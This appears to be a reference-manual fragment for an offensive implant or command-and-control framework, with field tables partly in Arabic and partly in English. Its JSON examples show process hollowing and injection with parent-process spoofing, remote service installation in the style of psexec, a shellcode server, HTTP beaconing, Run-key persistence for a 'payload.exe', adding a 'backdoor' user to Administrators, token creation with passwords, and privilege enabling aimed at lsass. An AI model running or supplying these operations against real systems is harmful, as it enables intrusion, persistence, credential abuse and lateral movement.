task_idu8مطلوب
pipe_namestringاختياري (أنبوب مسمى لالتقاط المخرجات، بدون البادئة \\.\pipe\)
searchstringاختياري (اسم العملية/سطر الأوامر لتزوير PPID منه)
no_killboolاختياري (الافتراضي: false — يتم إنهاء العملية بعد الحقن)
{ "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }
اختياري
{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }
الحقلالنوع
targetstringمطلوب (اسم المضيف أو عنوان IP)
service_namestringمطلوب
display_namestringمطلوب
binary_pathstringمطلوب (المسار على المضيف البعيد)
service_binbytesمطلوب (البيانات الثنائية للكتابة)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" }
الحقلالنوع
bof_databytesمطلوب
entrystringاختياري (الافتراضي: "go")
inputsbytesاختياري (وسائط BOF، فارغ إذا تم حذفه)
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }
الحقلالنوع
dnstringمطلوب
attrstringمطلوب
valuestringمطلوب
{ "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }
FieldType
targetsstringrequired (عناوين IP مفصولة بفواصل، CIDRs، نطاقات، أو أسماء مضيفين؛ اسم مستعار: host)
portsstringrequired (منافذ أو نطاقات مفصولة بفواصل، على سبيل المثال "22,80,443,8000-8100")
{ "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
{ "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }
الحقلالنوع
groupstringمطلوب
usernamestringمطلوب
serverstringاختياري (فارغ = الجهاز المحلي)
{ "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
{ "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" }
FieldType
groupstringمطلوب
usernamestringمطلوب
serverstringاختياري (فارغ = DC محلي)
{ "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
الحقلالنوع
مفتاحنصمطلوب
اسم القيمةنصمطلوب (سلسلة فارغة للقيمة الافتراضية)
القيمةبايتاتمطلوب
نوع القيمةنصاختياري (افتراضي: "REG_SZ"؛ أيضًا: REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ, REG_QWORD)
{ "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" }
{ "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }
الحقلالنوع
usernamestringمطلوب
passwordstringمطلوب
domainstringاختياري (فارغ = مجموعة عمل أو تنسيق UPN)
logon_typeu8اختياري (الافتراضي: 9; 2 = تفاعلي, 3 = شبكة)
{ "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" }
{ "op": "make_token", "username": "[email protected]", "password": "Password1" }
{ "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 }
FieldType
privilegestringمطلوب (alias: priv_name)
searchstringاختياري (فارغ = العملية الحالية)
{ "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
{ "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }
targetstringاختياري (فارغ = الجهاز المحلي)
{ "op": "delete_service", "service_name": "MySvc" }
{ "op": "delete_service", "target": "192.168.1.10", "service_name": "MySvc" }
الحقلالنوع
task_idu8مطلوب
export_namestringاختياري (افتراضي: "Run")
{ "op": "generate_dll", "task_id": 2 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" }
الحقلالنوع
imagestringمطلوب
task_idu8مطلوب
searchstringاختياري (اسم العملية/سطر الأوامر لانتحال PPID منه)
{ "op": "hollow", "image": "C:\Windows\System32\svchost.exe", "task_id": 1 }
{ "op": "hollow", "image": "C:\Windows\System32\RuntimeBroker.exe", "task_id": 1, "search": "explorer" }
FieldType
imagestringمطلوب
task_idu8مطلوب
searchstringاختياري (اسم العملية/سطر الأوامر لتزييف PPID منه)
{ "op": "hollow_apc", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "hollow_apc", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe" }
FieldType
hook_idi32اختياري (معرف الخطاف الذي تم إرجاعه بواسطة frida_hook)
namestringاختياري (اسم الخطاف المُعيَّن بحقل name في frida_hook)
{ "op": "frida_unhook" }
{ "op": "frida_unhook", "hook_id": 1 }
{ "op": "frida_unhook", "name": "my_hook" }
الحقلالنوع
hoststringاختياري
portu16اختياري (الافتراضي: 80)
intervalu32اختياري (فاصل الاستقصاء بالمللي ثانية؛ الافتراضي: 5000)
secureboolاختياري (الافتراضي: false)
agent_idstringاختياري (معرف يُرسل في طلبات beacon)
{ "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }
اختياري (احذف = العملية الحالية؛ "all" = كل عملية يمكن الوصول إليها)
{ "op": "dll_list" }
{ "op": "dll_list", "pid": 1234 }
{ "op": "dll_list", "pid": "all" }
اختياري (احذف = العملية الحالية؛ "all" = كل عملية يمكن الوصول إليها)
{ "op": "malfind" }
{ "op": "malfind", "pid": 1234 }
{ "op": "malfind", "pid": "all" }